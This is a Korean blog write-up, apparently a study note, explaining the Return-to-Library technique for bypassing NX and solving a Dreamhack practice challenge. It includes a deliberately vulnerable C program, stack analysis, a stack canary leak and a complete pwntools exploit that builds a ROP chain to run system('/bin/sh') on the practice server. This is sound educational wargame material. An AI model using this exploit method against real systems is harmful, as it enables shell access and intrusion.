IT/시스템 보안

[Return to Library]

kykyky 2024. 3. 12. 23:11

 


이론

 

 

사용 배경과 목적

 

 

NX를 우회하여 실행 흐름을 조작하는 것이 RTL의 목적입니다.

 

 

 

NX가 적용되지 않은 경우:
어떤 메모리 영역 (eg. 스택 영역)에 쓰기 권한과 실행 권한이 함께 있음 
-> 셸코드 주입하여 Return address를 덮어 실행 흐름 조작 가능

NX가 적용된 경우:

실행될 때 각 메모리 영역에 필요한 권한만을 부여받음
-> 일반적으로 셸코드가 주입되었던 위치인 스택 영역이 이젠 실행 권한이 없으므로, 위 방법이 불가해짐

따라서, 우리가 직접 주입한 셸코드나, 바이너리에 존재하는 함수는 이젠 활용할 수 없게 됐으니 다른 방식을 찾아봐야 합니다.

 

 

 

원리

 

 

리턴 가젯을 활용하여 공유 라이브러리에 있는 함수를 호출하면 NX를 우회할 수 있습니다!

 

 

예를 들어, 우리가 현재의 실행 흐름을 조작하여, flag 함수에 0x100을 인자로 넣어 실행하고자 한다 칩시다.
 
(왼쪽은 스택 영역, 오른쪽은 코드 영역입니다.)
 
 
 
 
아래 그림에서, RIP는 ret를, RSP는 리턴 가젯의 주소값을 가리키고 있습니다. 
 
 
 
RIP가 가리키는 ret 즉 pop rip  &  jmp rip이 수행되어,
RIP는 RSP가 가리키는 리턴 가젯을 가리키게 되며 여기로 실행 흐름이 전환되고, 이제 RSP는 0x100을 가리키게 되겠지요.
즉 아래처럼 됩니다.
 
 
 
이제 RIP가 가리키는 pop rdi가 수행되어,
RSP가 가리키는 0x100이 rdi에 들어가고, 이제 RSP는 flag()의 주소를 가리키게 되겠지요.
즉 아래처럼 됩니다.
 
출처: https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/gadgets

 

 

이제 RIP가 가리키는 ret이 수행되어,
RIP는 RSP가 가리키는 flag 함수를 가리키게 되며 flag 함수가 호출됩니다.
 
 
 

실습

 

 

소스 코드

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

 

 

main 함수의 스택 분석

 

 

main+0: SFP push됨

main+4: 이 스택 프레임을 위한 버퍼가 0x40만큼 마련됨

main+8~17: canary값이 [rbp-0x8]에 저장됨

main+23~48: setvbuf(stdin, ...) 호출

main+53~78: setvbuf(stdout, ...) 호출

...

main+123~140:

read 함수 syscall에서, 입력을 받을 버퍼의 메모리 주소는 rsi 레지스터를 통해 전달되는데,

이때의 rsi는 [rbp-0x40]임을 알 수 있습니다.

 

 

따라서 스택 프레임은 아래와 같을 것입니다.

higher address...
...
Return address (0x08바이트)
SFP (0x08바이트)
Canary (0x08바이트)
Dummy (0x08바이트)
buf (0x30바이트)
...
lower address...

 

 

 

exploit

 

✅ 우선 checksec을 이용하여 보안 설정을 확인합니다.

 

 

NX가 적용되어 있군요. 따라서 Return to Library 기법을 활용하겠습니다.

 

 

✅ 즉 return gadget을 포함한 payload로써 공격할 것이며, 대략 아래처럼 구성해야 합니다.

higher address...
...
address of <system@plt>
address of "/bin/sh"
address of <pop rdi; ret>
address of <ret> 
Dummy
알아낸 Canary값
Dummy
...
lower address...

 

 

※ address of <ret>이 있는 이유: system 함수에서 일어날 오류를 방지하기 위해 배열을 맞춰주려고 껴넣은 것 뿐입니다.

 

 

✅ Canary leak

 

 

위의 스택 분석에 따르면, buf로부터 canary까지의 offset은 0x40 - 0x08 = 0x38바이트입니다.

canary 특성 상 첫 바이트는 null바이트이므로, 0x38에 0x1을 더하여, 0x39바이트의 dummy를 입력함으로써 canary leak이 가능할 것입니다.

 

 

 

✅ return gadget과 여기에 전달할 parameter들의 주소값 찾기

 

 

<ret>의 주소

 

 

<pop rdi; ret>의 주소

 

 

"/bin/sh"의 주소

 

 

 

최종 exploit 코드와 결과

 

from pwn import *

p = remote("host3.dreamhack.games", 22904)
e = ELF('./rtl') # ELF(): ELF 파일에 대한 정보 모음

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary

buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)

p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
slog('canary', canary)

# [2] Exploit

system_plt_addr = e.plt['system']
bin_sh_addr = 0x400874
return_gadget_addr = 0x0000000000400853
ret_addr = 0x0000000000400285

payload = b'A' * 0x38
payload += p64(canary)
payload += b'B'*0x8
payload += p64(ret_addr)  # movaps로 인한 오류 방지를 위해서는 스택을 0x10 단위로 정렬해야 하므로 이 줄 추가
payload += p64(return_gadget_addr)
payload += p64(bin_sh_addr)
payload += p64(system_plt_addr)

pause()
p.sendafter(b'Buf: ', payload)

p.interactive()

 

 

 

예상대로 셸이 획득되었습니다.